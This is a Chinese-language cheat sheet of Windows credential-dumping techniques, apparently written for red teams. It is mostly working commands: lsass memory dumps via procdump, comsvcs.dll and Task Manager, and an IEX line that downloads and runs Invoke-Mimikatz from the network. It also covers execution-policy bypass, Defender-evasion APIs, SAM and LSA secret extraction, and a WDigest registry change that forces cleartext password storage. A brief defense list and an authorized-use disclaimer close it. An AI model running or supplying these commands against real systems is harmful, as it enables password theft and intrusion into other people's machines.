凭证转存基础总结
字数 1331 2025-08-09 16:00:20
凭证转存技术全面指南
1. 从Lsass.exe进程内存中转储凭据
1.1 使用Procdump工具
Procdump是微软官方提供的进程转储工具,可用于转储lsass.exe进程内存:
# 基本转储命令
procdump -ma lsass.exe lsass_dump
# 通过转储克隆的lsass进程来避免直接读取lsass
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
# 使用Mimikatz解析转储文件
sekurlsa::Minidump lsass_dump.dmp
sekurlsa::logonPasswords
注意:Mimikatz的版本必须与目标服务器一致,否则可能无法正确读取lsass内存信息。
1.2 使用任务管理器转储
- 打开任务管理器
- 找到lsass.exe进程
- 右键选择"创建转储文件"
1.3 使用comsvcs.dll
powershell -c "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\lsass.dmp full"
权限要求:需要开启SeDebugPrivilege权限。默认情况下:
- CMD未开启此权限
- PowerShell默认开启此权限
2. 从Lsass.exe进程直接转存凭证
2.1 PowerShell远程调用Mimikatz
# 远程调用Invoke-Mimikatz读密码
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
# 本地调用Mimikatz读密码(需先设置执行策略)
Set-ExecutionPolicy RemoteSigned
# 绕过执行策略的方法
powershell -ExecutionPolicy Bypass -File mimikatz.ps1
powershell.exe -exec bypass -command "& {Import-Module C:\Users\Admin\Desktop\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCreds}"
3. 绕过Windows Defender的技术
3.1 使用MiniDumpWriteDump函数
MiniDumpWriteDump是DbgHelp.dll的函数,通常用于收集程序异常信息,可直接dump进程内存。
实现代码:
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
3.2 使用PssCaptureSnapshot API
该API从lsass进程快照dump内存。
注意:
- 必须在PowerShell下运行(需要SeDebugPrivilege权限)
- procdump的-r参数就是利用此API
实现代码:
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
4. 导出SAM获取哈希
4.1 从注册表导出
# 在目标机器上执行
reg save hklm\system system
reg save hklm\sam sam
# 在攻击者机器上解析
samdump2 system sam
4.2 使用esentutl.exe导出
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\sam
兼容性:
- Windows 10测试通过
- Windows 2008测试失败
5. Windows 2008以上获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
6. Mimikatz直接读取密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
7. 转储LSA密码
LSA(本地安全认证)存储用户登录其他系统和服务(如VPN、FTP、Web服务)的凭据。
7.1 从内存转储LSA密码
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets"
7.2 从注册表转储LSA密码
LSA密码在注册表中的位置:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
# 导出注册表
reg save HKLM\SYSTEM system
reg save HKLM\security security
# 使用Mimikatz读取
lsadump::secrets /system:c:\temp\system /security:c:\temp\security
防御建议
- 限制对lsass.exe进程的访问权限
- 监控可疑的进程转储操作
- 定期更新系统补丁和安全软件
- 限制PowerShell的执行策略
- 监控注册表关键位置的修改
总结
本文详细介绍了多种凭证转存技术,包括从lsass进程转储、绕过防御机制、SAM哈希提取和LSA密码获取等方法。这些技术对于红队评估和渗透测试至关重要,但必须确保在合法授权范围内使用。